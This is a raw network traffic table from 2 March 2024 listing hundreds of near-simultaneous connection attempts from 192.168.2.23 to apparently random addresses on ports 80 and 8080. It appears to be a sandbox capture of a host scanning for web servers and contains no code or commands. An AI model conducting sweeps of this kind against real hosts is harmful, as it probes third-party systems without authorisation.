Mar 2, 2024 12:36:51.814462900 CET	49926	80	192.168.2.23	178.47.40.230
Mar 2, 2024 12:36:51.814462900 CET	49926	80	192.168.2.23	178.164.188.85
Mar 2, 2024 12:36:51.814462900 CET	50438	80	192.168.2.23	100.38.190.146
Mar 2, 2024 12:36:51.814462900 CET	49926	80	192.168.2.23	178.37.199.104
Mar 2, 2024 12:36:51.814466953 CET	50438	80	192.168.2.23	105.64.70.146
Mar 2, 2024 12:36:51.814466953 CET	50438	80	192.168.2.23	11.75.3.28
Mar 2, 2024 12:36:51.814466953 CET	50438	80	192.168.2.23	179.10.3.1
Mar 2, 2024 12:36:51.814469099 CET	49926	80	192.168.2.23	178.110.142.152
Mar 2, 2024 12:36:51.814466953 CET	49926	80	192.168.2.23	178.221.35.246
Mar 2, 2024 12:36:51.814466953 CET	50438	80	192.168.2.23	86.106.8.170
Mar 2, 2024 12:36:51.814466953 CET	49926	80	192.168.2.23	178.152.48.77
Mar 2, 2024 12:36:51.814470053 CET	50438	80	192.168.2.23	39.225.40.18
Mar 2, 2024 12:36:51.814470053 CET	50438	80	192.168.2.23	195.49.220.252
Mar 2, 2024 12:36:51.814470053 CET	50438	80	192.168.2.23	152.241.229.14
Mar 2, 2024 12:36:51.814470053 CET	49926	80	192.168.2.23	178.106.162.4
Mar 2, 2024 12:36:51.814470053 CET	49926	80	192.168.2.23	178.142.228.239
Mar 2, 2024 12:36:51.814470053 CET	50438	80	192.168.2.23	194.190.254.70
Mar 2, 2024 12:36:51.814470053 CET	49926	80	192.168.2.23	178.91.125.101
Mar 2, 2024 12:36:51.814471006 CET	49926	80	192.168.2.23	178.184.91.132
Mar 2, 2024 12:36:51.814475060 CET	50438	80	192.168.2.23	206.132.79.31
Mar 2, 2024 12:36:51.814475060 CET	49926	80	192.168.2.23	178.107.38.190
Mar 2, 2024 12:36:51.814475060 CET	50438	80	192.168.2.23	118.58.32.215
Mar 2, 2024 12:36:51.814475060 CET	50438	80	192.168.2.23	50.241.187.162
Mar 2, 2024 12:36:51.814477921 CET	50438	80	192.168.2.23	75.102.118.176
Mar 2, 2024 12:36:51.814479113 CET	49926	80	192.168.2.23	178.164.230.155
Mar 2, 2024 12:36:51.814482927 CET	49926	80	192.168.2.23	178.233.254.187
Mar 2, 2024 12:36:51.814482927 CET	50438	80	192.168.2.23	20.54.57.9
Mar 2, 2024 12:36:51.814487934 CET	50438	80	192.168.2.23	246.194.98.14
Mar 2, 2024 12:36:51.814490080 CET	49926	80	192.168.2.23	178.13.149.81
Mar 2, 2024 12:36:51.814490080 CET	50438	80	192.168.2.23	207.95.184.65
Mar 2, 2024 12:36:51.814498901 CET	50438	80	192.168.2.23	159.228.83.17
Mar 2, 2024 12:36:51.814518929 CET	50438	80	192.168.2.23	139.88.57.204
Mar 2, 2024 12:36:51.814518929 CET	50438	80	192.168.2.23	87.91.52.244
Mar 2, 2024 12:36:51.814518929 CET	49926	80	192.168.2.23	178.38.35.63
Mar 2, 2024 12:36:51.814518929 CET	49926	80	192.168.2.23	178.215.251.49
Mar 2, 2024 12:36:51.814518929 CET	50438	80	192.168.2.23	92.101.185.110
Mar 2, 2024 12:36:51.814524889 CET	50438	80	192.168.2.23	208.189.163.215
Mar 2, 2024 12:36:51.814524889 CET	49926	80	192.168.2.23	178.6.231.195
Mar 2, 2024 12:36:51.814524889 CET	50438	80	192.168.2.23	152.156.47.58
Mar 2, 2024 12:36:51.814536095 CET	50438	80	192.168.2.23	203.169.232.68
Mar 2, 2024 12:36:51.814541101 CET	50438	80	192.168.2.23	98.122.149.14
Mar 2, 2024 12:36:51.814541101 CET	49926	80	192.168.2.23	178.196.141.127
Mar 2, 2024 12:36:51.814541101 CET	49926	80	192.168.2.23	178.85.123.223
Mar 2, 2024 12:36:51.814541101 CET	49926	80	192.168.2.23	178.246.183.219
Mar 2, 2024 12:36:51.814549923 CET	50438	80	192.168.2.23	151.210.54.189
Mar 2, 2024 12:36:51.814552069 CET	50438	80	192.168.2.23	37.74.158.147
Mar 2, 2024 12:36:51.814554930 CET	49926	80	192.168.2.23	178.253.20.60
Mar 2, 2024 12:36:51.814554930 CET	50438	80	192.168.2.23	221.146.73.132
Mar 2, 2024 12:36:51.814563990 CET	49926	80	192.168.2.23	178.201.240.171
Mar 2, 2024 12:36:51.814568043 CET	49926	80	192.168.2.23	178.128.159.133
Mar 2, 2024 12:36:51.814568043 CET	50438	80	192.168.2.23	160.56.232.121
Mar 2, 2024 12:36:51.814568043 CET	50438	80	192.168.2.23	194.71.255.15
Mar 2, 2024 12:36:51.814568043 CET	49926	80	192.168.2.23	178.181.244.27
Mar 2, 2024 12:36:51.814569950 CET	50438	80	192.168.2.23	242.213.77.178
Mar 2, 2024 12:36:51.814573050 CET	50438	80	192.168.2.23	148.182.1.122
Mar 2, 2024 12:36:51.814573050 CET	50438	80	192.168.2.23	166.201.154.56
Mar 2, 2024 12:36:51.814574003 CET	50438	80	192.168.2.23	92.243.205.144
Mar 2, 2024 12:36:51.814574003 CET	49926	80	192.168.2.23	178.99.245.85
Mar 2, 2024 12:36:51.814574003 CET	50438	80	192.168.2.23	209.67.42.64
Mar 2, 2024 12:36:51.814585924 CET	50438	80	192.168.2.23	253.77.44.17
Mar 2, 2024 12:36:51.814588070 CET	50438	80	192.168.2.23	139.238.7.168
Mar 2, 2024 12:36:51.814588070 CET	50438	80	192.168.2.23	155.225.225.112
Mar 2, 2024 12:36:51.814599037 CET	50438	80	192.168.2.23	191.244.57.244
Mar 2, 2024 12:36:51.814599037 CET	50438	80	192.168.2.23	120.178.109.0
Mar 2, 2024 12:36:51.814605951 CET	50438	80	192.168.2.23	255.239.178.155
Mar 2, 2024 12:36:51.814606905 CET	50438	80	192.168.2.23	40.53.27.39
Mar 2, 2024 12:36:51.814606905 CET	49926	80	192.168.2.23	178.170.213.99
Mar 2, 2024 12:36:51.814610004 CET	50438	80	192.168.2.23	198.49.65.106
Mar 2, 2024 12:36:51.814610004 CET	50438	80	192.168.2.23	185.98.189.6
Mar 2, 2024 12:36:51.814610004 CET	50438	80	192.168.2.23	186.202.5.3
Mar 2, 2024 12:36:51.814610004 CET	50438	80	192.168.2.23	118.235.202.242
Mar 2, 2024 12:36:51.814610004 CET	49926	80	192.168.2.23	178.241.232.12
Mar 2, 2024 12:36:51.814615965 CET	49926	80	192.168.2.23	178.147.112.230
Mar 2, 2024 12:36:51.814615965 CET	49926	80	192.168.2.23	178.152.203.204
Mar 2, 2024 12:36:51.814618111 CET	49926	80	192.168.2.23	178.165.192.239
Mar 2, 2024 12:36:51.814618111 CET	49926	80	192.168.2.23	178.145.180.13
Mar 2, 2024 12:36:51.814619064 CET	50438	80	192.168.2.23	248.200.234.25
Mar 2, 2024 12:36:51.814618111 CET	49926	80	192.168.2.23	178.27.207.204
Mar 2, 2024 12:36:51.814620018 CET	50438	80	192.168.2.23	70.125.139.156
Mar 2, 2024 12:36:51.814618111 CET	49926	80	192.168.2.23	178.228.106.114
Mar 2, 2024 12:36:51.814619064 CET	49926	80	192.168.2.23	178.87.93.167
Mar 2, 2024 12:36:51.814618111 CET	50438	80	192.168.2.23	105.223.232.1
Mar 2, 2024 12:36:51.814623117 CET	49926	80	192.168.2.23	178.1.212.154
Mar 2, 2024 12:36:51.814624071 CET	50438	80	192.168.2.23	89.24.78.27
Mar 2, 2024 12:36:51.814623117 CET	49926	80	192.168.2.23	178.171.160.88
Mar 2, 2024 12:36:51.814624071 CET	50438	80	192.168.2.23	101.191.51.222
Mar 2, 2024 12:36:51.814618111 CET	50438	80	192.168.2.23	240.144.210.53
Mar 2, 2024 12:36:51.814624071 CET	49926	80	192.168.2.23	178.127.84.107
Mar 2, 2024 12:36:51.814634085 CET	50438	80	192.168.2.23	8.47.192.0
Mar 2, 2024 12:36:51.814634085 CET	50438	80	192.168.2.23	182.79.221.238
Mar 2, 2024 12:36:51.814640045 CET	50438	80	192.168.2.23	169.7.191.193
Mar 2, 2024 12:36:51.814641953 CET	50438	80	192.168.2.23	135.87.229.155
Mar 2, 2024 12:36:51.814640999 CET	50438	80	192.168.2.23	187.87.127.196
Mar 2, 2024 12:36:51.814640999 CET	49926	80	192.168.2.23	178.75.180.66
Mar 2, 2024 12:36:51.814640999 CET	50438	80	192.168.2.23	183.153.11.155
Mar 2, 2024 12:36:51.814642906 CET	50438	80	192.168.2.23	143.152.110.140
Mar 2, 2024 12:36:51.814645052 CET	50438	80	192.168.2.23	4.6.193.76
Mar 2, 2024 12:36:51.814646959 CET	50438	80	192.168.2.23	131.24.216.135
Mar 2, 2024 12:36:51.814646959 CET	49926	80	192.168.2.23	178.209.207.146
Mar 2, 2024 12:36:51.814654112 CET	50438	80	192.168.2.23	175.203.153.90
Mar 2, 2024 12:36:51.814654112 CET	50438	80	192.168.2.23	16.78.201.124
Mar 2, 2024 12:36:51.814656973 CET	50438	80	192.168.2.23	139.221.99.9
Mar 2, 2024 12:36:51.814656973 CET	50438	80	192.168.2.23	36.252.47.227
Mar 2, 2024 12:36:51.814661026 CET	49926	80	192.168.2.23	178.68.20.119
Mar 2, 2024 12:36:51.814661026 CET	50438	80	192.168.2.23	129.94.194.232
Mar 2, 2024 12:36:51.814661026 CET	50438	80	192.168.2.23	203.177.156.34
Mar 2, 2024 12:36:51.814662933 CET	50438	80	192.168.2.23	143.234.31.63
Mar 2, 2024 12:36:51.814668894 CET	50438	80	192.168.2.23	7.200.237.238
Mar 2, 2024 12:36:51.814668894 CET	49926	80	192.168.2.23	178.31.235.110
Mar 2, 2024 12:36:51.814668894 CET	50438	80	192.168.2.23	8.147.114.146
Mar 2, 2024 12:36:51.814668894 CET	50438	80	192.168.2.23	120.195.64.250
Mar 2, 2024 12:36:51.814671040 CET	50438	80	192.168.2.23	158.60.109.181
Mar 2, 2024 12:36:51.814668894 CET	49926	80	192.168.2.23	178.54.56.233
Mar 2, 2024 12:36:51.814671993 CET	50438	80	192.168.2.23	50.95.72.44
Mar 2, 2024 12:36:51.814671993 CET	50438	80	192.168.2.23	131.204.50.132
Mar 2, 2024 12:36:51.814671993 CET	50438	80	192.168.2.23	201.68.137.187
Mar 2, 2024 12:36:51.814671993 CET	50438	80	192.168.2.23	216.169.44.145
Mar 2, 2024 12:36:51.814671993 CET	49926	80	192.168.2.23	178.243.116.56
Mar 2, 2024 12:36:51.814675093 CET	49926	80	192.168.2.23	178.38.93.178
Mar 2, 2024 12:36:51.814675093 CET	50438	80	192.168.2.23	2.175.168.228
Mar 2, 2024 12:36:51.814675093 CET	50438	80	192.168.2.23	182.196.101.188
Mar 2, 2024 12:36:51.814675093 CET	49926	80	192.168.2.23	178.101.198.212
Mar 2, 2024 12:36:51.814675093 CET	50438	80	192.168.2.23	9.108.83.34
Mar 2, 2024 12:36:51.814675093 CET	50438	80	192.168.2.23	29.139.232.209
Mar 2, 2024 12:36:51.814675093 CET	50438	80	192.168.2.23	129.120.248.214
Mar 2, 2024 12:36:51.814675093 CET	49926	80	192.168.2.23	178.82.234.222
Mar 2, 2024 12:36:51.814675093 CET	50438	80	192.168.2.23	50.172.84.213
Mar 2, 2024 12:36:51.814675093 CET	49926	80	192.168.2.23	178.88.133.17
Mar 2, 2024 12:36:51.814676046 CET	50438	80	192.168.2.23	46.79.103.254
Mar 2, 2024 12:36:51.814682961 CET	49926	80	192.168.2.23	178.249.50.28
Mar 2, 2024 12:36:51.814698935 CET	50438	80	192.168.2.23	205.244.180.20
Mar 2, 2024 12:36:51.814701080 CET	50438	80	192.168.2.23	138.119.97.14
Mar 2, 2024 12:36:51.814702034 CET	50438	80	192.168.2.23	245.34.16.14
Mar 2, 2024 12:36:51.814703941 CET	49926	80	192.168.2.23	178.22.102.217
Mar 2, 2024 12:36:51.814709902 CET	50438	80	192.168.2.23	19.207.230.186
Mar 2, 2024 12:36:51.814709902 CET	50438	80	192.168.2.23	195.119.91.221
Mar 2, 2024 12:36:51.814713001 CET	49926	80	192.168.2.23	178.146.38.4
Mar 2, 2024 12:36:51.814719915 CET	49926	80	192.168.2.23	178.217.235.0
Mar 2, 2024 12:36:51.814723969 CET	49926	80	192.168.2.23	178.133.50.10
Mar 2, 2024 12:36:51.814729929 CET	49926	80	192.168.2.23	178.35.247.24
Mar 2, 2024 12:36:51.814738035 CET	49926	80	192.168.2.23	178.130.185.130
Mar 2, 2024 12:36:51.814758062 CET	49926	80	192.168.2.23	178.233.50.183
Mar 2, 2024 12:36:51.814760923 CET	50438	80	192.168.2.23	14.35.228.20
Mar 2, 2024 12:36:51.814760923 CET	50438	80	192.168.2.23	40.119.32.214
Mar 2, 2024 12:36:51.814762115 CET	50438	80	192.168.2.23	216.47.154.162
Mar 2, 2024 12:36:51.814762115 CET	49926	80	192.168.2.23	178.153.2.213
Mar 2, 2024 12:36:51.814768076 CET	49926	80	192.168.2.23	178.74.141.177
Mar 2, 2024 12:36:51.814769030 CET	50438	80	192.168.2.23	4.165.13.218
Mar 2, 2024 12:36:51.814769030 CET	49926	80	192.168.2.23	178.31.236.13
Mar 2, 2024 12:36:51.814773083 CET	50438	80	192.168.2.23	190.17.152.118
Mar 2, 2024 12:36:51.814775944 CET	49926	80	192.168.2.23	178.214.137.114
Mar 2, 2024 12:36:51.814775944 CET	50438	80	192.168.2.23	31.74.8.85
Mar 2, 2024 12:36:51.814779043 CET	50438	80	192.168.2.23	161.249.86.232
Mar 2, 2024 12:36:51.814779997 CET	50438	80	192.168.2.23	25.31.51.38
Mar 2, 2024 12:36:51.814780951 CET	50438	80	192.168.2.23	4.126.246.106
Mar 2, 2024 12:36:51.814781904 CET	49926	80	192.168.2.23	178.9.81.226
Mar 2, 2024 12:36:51.814783096 CET	50438	80	192.168.2.23	131.64.235.105
Mar 2, 2024 12:36:51.814779997 CET	50438	80	192.168.2.23	25.52.21.128
Mar 2, 2024 12:36:51.814781904 CET	49926	80	192.168.2.23	178.35.46.110
Mar 2, 2024 12:36:51.814785957 CET	50438	80	192.168.2.23	126.91.171.188
Mar 2, 2024 12:36:51.814788103 CET	50438	80	192.168.2.23	146.100.200.65
Mar 2, 2024 12:36:51.814795017 CET	50438	80	192.168.2.23	252.238.27.87
Mar 2, 2024 12:36:51.814801931 CET	49926	80	192.168.2.23	178.108.190.141
Mar 2, 2024 12:36:51.814802885 CET	49926	80	192.168.2.23	178.3.132.164
Mar 2, 2024 12:36:51.814801931 CET	50438	80	192.168.2.23	28.112.107.156
Mar 2, 2024 12:36:51.814802885 CET	49926	80	192.168.2.23	178.212.241.69
Mar 2, 2024 12:36:51.814805984 CET	50438	80	192.168.2.23	84.221.72.146
Mar 2, 2024 12:36:51.814809084 CET	50438	80	192.168.2.23	194.11.121.157
Mar 2, 2024 12:36:51.814811945 CET	50438	80	192.168.2.23	126.1.19.240
Mar 2, 2024 12:36:51.814821959 CET	50438	80	192.168.2.23	157.209.120.57
Mar 2, 2024 12:36:51.814821959 CET	50438	80	192.168.2.23	158.211.127.51
Mar 2, 2024 12:36:51.814821959 CET	50438	80	192.168.2.23	5.177.232.247
Mar 2, 2024 12:36:51.814834118 CET	50438	80	192.168.2.23	26.87.183.146
Mar 2, 2024 12:36:51.814834118 CET	49926	80	192.168.2.23	178.11.213.82
Mar 2, 2024 12:36:51.814835072 CET	49926	80	192.168.2.23	178.85.180.11
Mar 2, 2024 12:36:51.814834118 CET	49926	80	192.168.2.23	178.162.40.16
Mar 2, 2024 12:36:51.814841986 CET	49926	80	192.168.2.23	178.230.31.37
Mar 2, 2024 12:36:51.814841986 CET	49926	80	192.168.2.23	178.224.154.2
Mar 2, 2024 12:36:51.814841986 CET	49926	80	192.168.2.23	178.82.102.83
Mar 2, 2024 12:36:51.814863920 CET	49926	80	192.168.2.23	178.94.215.70
Mar 2, 2024 12:36:51.814868927 CET	49926	80	192.168.2.23	178.16.39.227
Mar 2, 2024 12:36:51.814878941 CET	50438	80	192.168.2.23	45.64.96.24
Mar 2, 2024 12:36:51.814882040 CET	49926	80	192.168.2.23	178.192.181.186
Mar 2, 2024 12:36:51.814882040 CET	50438	80	192.168.2.23	53.91.200.12
Mar 2, 2024 12:36:51.814888000 CET	50438	80	192.168.2.23	124.203.141.183
Mar 2, 2024 12:36:51.814894915 CET	49926	80	192.168.2.23	178.12.7.106
Mar 2, 2024 12:36:51.814898014 CET	49926	80	192.168.2.23	178.232.46.114
Mar 2, 2024 12:36:51.814898968 CET	50438	80	192.168.2.23	129.105.114.227
Mar 2, 2024 12:36:51.814901114 CET	49926	80	192.168.2.23	178.77.222.72
Mar 2, 2024 12:36:51.814901114 CET	49926	80	192.168.2.23	178.131.241.97
Mar 2, 2024 12:36:51.814901114 CET	50438	80	192.168.2.23	91.105.86.82
Mar 2, 2024 12:36:51.814908981 CET	49926	80	192.168.2.23	178.10.242.51
Mar 2, 2024 12:36:51.814914942 CET	49926	80	192.168.2.23	178.22.234.191
Mar 2, 2024 12:36:51.814920902 CET	50438	80	192.168.2.23	78.112.8.146
Mar 2, 2024 12:36:51.814920902 CET	49926	80	192.168.2.23	178.84.11.216
Mar 2, 2024 12:36:51.814922094 CET	50438	80	192.168.2.23	87.3.186.69
Mar 2, 2024 12:36:51.814929008 CET	50438	80	192.168.2.23	39.227.140.72
Mar 2, 2024 12:36:51.814929008 CET	49926	80	192.168.2.23	178.20.25.243
Mar 2, 2024 12:36:51.814929008 CET	50438	80	192.168.2.23	11.123.61.70
Mar 2, 2024 12:36:51.814932108 CET	50438	80	192.168.2.23	113.184.59.123
Mar 2, 2024 12:36:51.814940929 CET	50438	80	192.168.2.23	205.111.182.68
Mar 2, 2024 12:36:51.814940929 CET	50438	80	192.168.2.23	171.99.166.143
Mar 2, 2024 12:36:51.814946890 CET	50438	80	192.168.2.23	210.229.85.107
Mar 2, 2024 12:36:51.814948082 CET	50438	80	192.168.2.23	30.128.122.52
Mar 2, 2024 12:36:51.814948082 CET	50438	80	192.168.2.23	143.29.218.204
Mar 2, 2024 12:36:51.814949989 CET	50438	80	192.168.2.23	213.99.197.14
Mar 2, 2024 12:36:51.814949989 CET	50438	80	192.168.2.23	5.31.55.62
Mar 2, 2024 12:36:51.814958096 CET	50438	80	192.168.2.23	156.53.98.134
Mar 2, 2024 12:36:51.814958096 CET	50438	80	192.168.2.23	209.149.31.100
Mar 2, 2024 12:36:51.814960003 CET	50438	80	192.168.2.23	202.229.201.50
Mar 2, 2024 12:36:51.814960003 CET	50438	80	192.168.2.23	94.201.47.5
Mar 2, 2024 12:36:51.814963102 CET	50438	80	192.168.2.23	54.11.94.235
Mar 2, 2024 12:36:51.814963102 CET	50438	80	192.168.2.23	112.228.179.127
Mar 2, 2024 12:36:51.814963102 CET	50438	80	192.168.2.23	93.94.30.79
Mar 2, 2024 12:36:51.814964056 CET	50438	80	192.168.2.23	16.225.244.184
Mar 2, 2024 12:36:51.814964056 CET	50438	80	192.168.2.23	14.217.132.49
Mar 2, 2024 12:36:51.814964056 CET	50438	80	192.168.2.23	148.154.109.208
Mar 2, 2024 12:36:51.814965010 CET	50438	80	192.168.2.23	135.6.241.40
Mar 2, 2024 12:36:51.814971924 CET	50438	80	192.168.2.23	97.104.159.135
Mar 2, 2024 12:36:51.814977884 CET	50438	80	192.168.2.23	41.192.196.132
Mar 2, 2024 12:36:51.814981937 CET	50438	80	192.168.2.23	39.182.92.60
Mar 2, 2024 12:36:51.814981937 CET	50438	80	192.168.2.23	202.81.18.69
Mar 2, 2024 12:36:51.814980984 CET	50438	80	192.168.2.23	214.142.212.11
Mar 2, 2024 12:36:51.814999104 CET	50438	80	192.168.2.23	6.120.221.30
Mar 2, 2024 12:36:51.815006018 CET	50438	80	192.168.2.23	102.92.138.100
Mar 2, 2024 12:36:51.815006971 CET	50438	80	192.168.2.23	18.115.109.239
Mar 2, 2024 12:36:51.815006971 CET	50438	80	192.168.2.23	250.28.63.139
Mar 2, 2024 12:36:51.815036058 CET	50438	80	192.168.2.23	49.228.208.60
Mar 2, 2024 12:36:51.815036058 CET	50438	80	192.168.2.23	49.21.88.135
Mar 2, 2024 12:36:51.815036058 CET	50438	80	192.168.2.23	203.207.236.69
Mar 2, 2024 12:36:51.815036058 CET	50438	80	192.168.2.23	47.13.186.125
Mar 2, 2024 12:36:51.815036058 CET	50438	80	192.168.2.23	61.13.183.246
Mar 2, 2024 12:36:51.815036058 CET	50438	80	192.168.2.23	130.160.95.214
Mar 2, 2024 12:36:51.815047979 CET	50438	80	192.168.2.23	64.65.66.34
Mar 2, 2024 12:36:51.815057993 CET	50438	80	192.168.2.23	210.58.192.181
Mar 2, 2024 12:36:51.815063953 CET	50438	80	192.168.2.23	149.157.52.79
Mar 2, 2024 12:36:51.815068960 CET	50438	80	192.168.2.23	44.171.91.237
Mar 2, 2024 12:36:51.815073013 CET	50438	80	192.168.2.23	219.153.137.238
Mar 2, 2024 12:36:51.815078974 CET	50438	80	192.168.2.23	99.153.198.233
Mar 2, 2024 12:36:51.815078974 CET	50438	80	192.168.2.23	143.253.111.160
Mar 2, 2024 12:36:51.815080881 CET	50438	80	192.168.2.23	163.164.178.249
Mar 2, 2024 12:36:51.815082073 CET	50438	80	192.168.2.23	17.3.211.7
Mar 2, 2024 12:36:51.815084934 CET	50438	80	192.168.2.23	179.24.211.141
Mar 2, 2024 12:36:51.815088987 CET	49670	8080	192.168.2.23	43.147.89.126
Mar 2, 2024 12:36:51.815088987 CET	50438	80	192.168.2.23	222.236.210.56
Mar 2, 2024 12:36:51.815092087 CET	49670	80	192.168.2.23	222.200.95.35
Mar 2, 2024 12:36:51.815092087 CET	49670	80	192.168.2.23	191.105.28.139
Mar 2, 2024 12:36:51.815092087 CET	49670	80	192.168.2.23	169.66.115.188
Mar 2, 2024 12:36:51.815098047 CET	50438	80	192.168.2.23	148.135.57.132
Mar 2, 2024 12:36:51.815099001 CET	49670	80	192.168.2.23	212.15.225.3
Mar 2, 2024 12:36:51.815099001 CET	49670	80	192.168.2.23	212.31.100.185
Mar 2, 2024 12:36:51.815109968 CET	49670	80	192.168.2.23	212.211.120.122
Mar 2, 2024 12:36:51.815116882 CET	49670	80	192.168.2.23	86.237.67.122
Mar 2, 2024 12:36:51.815116882 CET	50438	80	192.168.2.23	63.45.255.27
Mar 2, 2024 12:36:51.815120935 CET	49670	80	192.168.2.23	58.54.200.53
Mar 2, 2024 12:36:51.815123081 CET	49670	80	192.168.2.23	176.155.203.35
Mar 2, 2024 12:36:51.815123081 CET	50438	80	192.168.2.23	23.215.175.141
Mar 2, 2024 12:36:51.815124989 CET	49670	80	192.168.2.23	115.26.139.203
Mar 2, 2024 12:36:51.815124989 CET	50438	80	192.168.2.23	154.90.66.203
Mar 2, 2024 12:36:51.815124989 CET	49670	80	192.168.2.23	212.245.253.81
Mar 2, 2024 12:36:51.815124989 CET	49670	80	192.168.2.23	212.38.173.197
Mar 2, 2024 12:36:51.815124989 CET	50438	80	192.168.2.23	89.75.5.58
Mar 2, 2024 12:36:51.815128088 CET	49670	8080	192.168.2.23	212.14.49.205
Mar 2, 2024 12:36:51.815128088 CET	49670	80	192.168.2.23	120.64.169.73
Mar 2, 2024 12:36:51.815128088 CET	49670	80	192.168.2.23	212.2.212.21
Mar 2, 2024 12:36:51.815128088 CET	49670	80	192.168.2.23	212.212.166.95
Mar 2, 2024 12:36:51.815136909 CET	49670	80	192.168.2.23	212.192.218.133
Mar 2, 2024 12:36:51.815140963 CET	49670	80	192.168.2.23	140.208.166.8
Mar 2, 2024 12:36:51.815140963 CET	50438	80	192.168.2.23	143.126.94.255
Mar 2, 2024 12:36:51.815148115 CET	50438	80	192.168.2.23	10.236.179.94
Mar 2, 2024 12:36:51.815148115 CET	50438	80	192.168.2.23	9.125.201.191
Mar 2, 2024 12:36:51.815154076 CET	50438	80	192.168.2.23	97.54.225.209
Mar 2, 2024 12:36:51.815159082 CET	50438	80	192.168.2.23	250.29.131.241
Mar 2, 2024 12:36:51.815160036 CET	50438	80	192.168.2.23	214.59.162.131
Mar 2, 2024 12:36:51.815166950 CET	49926	80	192.168.2.23	178.9.113.254
Mar 2, 2024 12:36:51.815167904 CET	50438	80	192.168.2.23	125.135.132.186
Mar 2, 2024 12:36:51.815176010 CET	50438	80	192.168.2.23	80.21.31.136
Mar 2, 2024 12:36:51.815177917 CET	50438	80	192.168.2.23	152.185.78.251
Mar 2, 2024 12:36:51.815181017 CET	49926	80	192.168.2.23	178.151.213.135
Mar 2, 2024 12:36:51.815181017 CET	50438	80	192.168.2.23	32.228.221.24
Mar 2, 2024 12:36:51.815181017 CET	49926	80	192.168.2.23	178.54.152.224
Mar 2, 2024 12:36:51.815186024 CET	50438	80	192.168.2.23	32.238.81.135
Mar 2, 2024 12:36:51.815191984 CET	50438	80	192.168.2.23	243.23.219.230
Mar 2, 2024 12:36:51.815191984 CET	50438	80	192.168.2.23	175.248.125.155
Mar 2, 2024 12:36:51.815191984 CET	49926	80	192.168.2.23	178.40.193.41
Mar 2, 2024 12:36:51.815196037 CET	49926	80	192.168.2.23	178.77.58.77
Mar 2, 2024 12:36:51.815196037 CET	50438	80	192.168.2.23	217.15.218.109
Mar 2, 2024 12:36:51.815196037 CET	49926	80	192.168.2.23	178.8.195.224
Mar 2, 2024 12:36:51.815196037 CET	50438	80	192.168.2.23	192.37.88.113
Mar 2, 2024 12:36:51.815196037 CET	49926	80	192.168.2.23	178.215.113.38
Mar 2, 2024 12:36:51.815201044 CET	49926	80	192.168.2.23	178.7.39.31
Mar 2, 2024 12:36:51.815201044 CET	49926	80	192.168.2.23	178.183.7.113
Mar 2, 2024 12:36:51.815201044 CET	50438	80	192.168.2.23	250.152.189.70
Mar 2, 2024 12:36:51.815201998 CET	50438	80	192.168.2.23	134.226.74.222
Mar 2, 2024 12:36:51.815205097 CET	50438	80	192.168.2.23	108.64.39.181
Mar 2, 2024 12:36:51.815205097 CET	50438	80	192.168.2.23	138.161.151.161
Mar 2, 2024 12:36:51.815205097 CET	49926	80	192.168.2.23	178.176.47.159
Mar 2, 2024 12:36:51.815205097 CET	50438	80	192.168.2.23	34.191.189.180
Mar 2, 2024 12:36:51.815205097 CET	50438	80	192.168.2.23	52.125.59.45
Mar 2, 2024 12:36:51.815205097 CET	49926	80	192.168.2.23	178.38.246.77
Mar 2, 2024 12:36:51.815211058 CET	49926	80	192.168.2.23	178.142.209.16
Mar 2, 2024 12:36:51.815211058 CET	50438	80	192.168.2.23	54.21.98.76
Mar 2, 2024 12:36:51.815211058 CET	50438	80	192.168.2.23	45.124.133.114
Mar 2, 2024 12:36:51.815211058 CET	50438	80	192.168.2.23	207.225.75.6
Mar 2, 2024 12:36:51.815211058 CET	50438	80	192.168.2.23	1.85.81.188
Mar 2, 2024 12:36:51.815211058 CET	50438	80	192.168.2.23	118.97.132.213
Mar 2, 2024 12:36:51.815211058 CET	49926	80	192.168.2.23	178.4.97.153
Mar 2, 2024 12:36:51.815217972 CET	50438	80	192.168.2.23	137.113.43.31
Mar 2, 2024 12:36:51.815228939 CET	50438	80	192.168.2.23	203.252.242.206
Mar 2, 2024 12:36:51.815228939 CET	49926	80	192.168.2.23	178.88.164.15
Mar 2, 2024 12:36:51.815232038 CET	50438	80	192.168.2.23	11.120.110.84
Mar 2, 2024 12:36:51.815232038 CET	49926	80	192.168.2.23	178.121.190.11
Mar 2, 2024 12:36:51.815232038 CET	50438	80	192.168.2.23	33.16.39.202
Mar 2, 2024 12:36:51.815238953 CET	50438	80	192.168.2.23	70.51.50.85
Mar 2, 2024 12:36:51.815238953 CET	49926	80	192.168.2.23	178.195.157.4
Mar 2, 2024 12:36:51.815239906 CET	49670	80	192.168.2.23	212.228.224.151
Mar 2, 2024 12:36:51.815239906 CET	50438	80	192.168.2.23	190.91.140.241
Mar 2, 2024 12:36:51.815248966 CET	50438	80	192.168.2.23	247.114.107.105
Mar 2, 2024 12:36:51.815263033 CET	50438	80	192.168.2.23	185.66.164.162
Mar 2, 2024 12:36:51.815263033 CET	50438	80	192.168.2.23	78.166.147.41
Mar 2, 2024 12:36:51.815263033 CET	49670	80	192.168.2.23	208.83.138.149
Mar 2, 2024 12:36:51.815264940 CET	50438	80	192.168.2.23	222.156.245.164
Mar 2, 2024 12:36:51.815264940 CET	49670	80	192.168.2.23	212.18.58.187
Mar 2, 2024 12:36:51.815264940 CET	50438	80	192.168.2.23	152.43.249.48
Mar 2, 2024 12:36:51.815267086 CET	50438	80	192.168.2.23	108.208.172.218
Mar 2, 2024 12:36:51.815267086 CET	50438	80	192.168.2.23	108.120.184.9
Mar 2, 2024 12:36:51.815274000 CET	50438	80	192.168.2.23	172.177.239.62
Mar 2, 2024 12:36:51.815274954 CET	50438	80	192.168.2.23	188.250.33.47
Mar 2, 2024 12:36:51.815274954 CET	49670	80	192.168.2.23	212.57.93.224
Mar 2, 2024 12:36:51.815274954 CET	49670	80	192.168.2.23	212.252.133.16
Mar 2, 2024 12:36:51.815279961 CET	50438	80	192.168.2.23	108.105.176.102
Mar 2, 2024 12:36:51.815279961 CET	49670	8080	192.168.2.23	63.230.106.170
Mar 2, 2024 12:36:51.815279961 CET	50438	80	192.168.2.23	78.246.50.173
Mar 2, 2024 12:36:51.815279961 CET	49670	80	192.168.2.23	212.157.4.248
Mar 2, 2024 12:36:51.815279961 CET	49670	80	192.168.2.23	212.105.17.135
Mar 2, 2024 12:36:51.815284967 CET	49670	80	192.168.2.23	141.87.243.109
Mar 2, 2024 12:36:51.815289974 CET	50438	80	192.168.2.23	106.10.238.78
Mar 2, 2024 12:36:51.815289974 CET	49670	80	192.168.2.23	151.14.4.57
Mar 2, 2024 12:36:51.815289974 CET	49670	8080	192.168.2.23	42.229.255.49
Mar 2, 2024 12:36:51.815289974 CET	49670	80	192.168.2.23	212.121.128.219
